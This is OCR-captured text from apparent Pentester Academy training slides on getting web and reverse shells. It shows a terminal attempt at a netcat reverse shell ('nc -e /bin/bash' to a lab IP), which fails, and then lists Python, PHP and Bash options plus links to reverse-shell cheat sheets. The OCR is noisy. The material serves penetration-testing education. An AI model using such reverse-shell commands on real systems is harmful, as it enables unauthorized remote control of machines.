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Web Shell: Using Python, PHP etc.



Ubuntu Server: nc —e option ®

Ubuntu Server Web App Pentest [Running]
pentesteracademy@ubuntu:™$ nc
This is nc from the netcat-openbsd package. An alternative nc is available
in the netcat-traditional package.
usage: nc [-46DdhkInr3tUuvzC] [-i intervall [-P proxy_usernamel [-p source_port]
[-s source_ip_address] [-T ToS] [-w timeout] [-X proxy_protocol]l
[-x proxy_addressl:portl] [hostnamel [portlsl]
pentesteracademyPubuntu:™§ nc —-e /binsbash 192.168.1.10 10000
mc: invalid option — ‘e’
This is nc from the netcat-openbsd package. An alternative nc is available
in the netcat-traditional package.

usage: nc [-46DdhkInrStUuvzC]l [-i intervall [-P proxy_usernamel [-p source_port]
[-s source_ip_address] [-T ToS] [-w timeoutl] [-X proxy_protocoll
[-x proxy_addressl:portl] [hostnamel [portisl]
pentesteracademy@ubuntu:™§
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Using Interpreters

* Python

* PHP

e Bash
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Reference Links

e http://pauldotcom.com/2011/10/python-one-
line-shell-code.html

e http://pentestmonkey.net/cheat-sheet/shells/
reverse-shell-cheat-sheet
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Pentester Academy

PentesterAcademy a SecurityTube.net initiative oo
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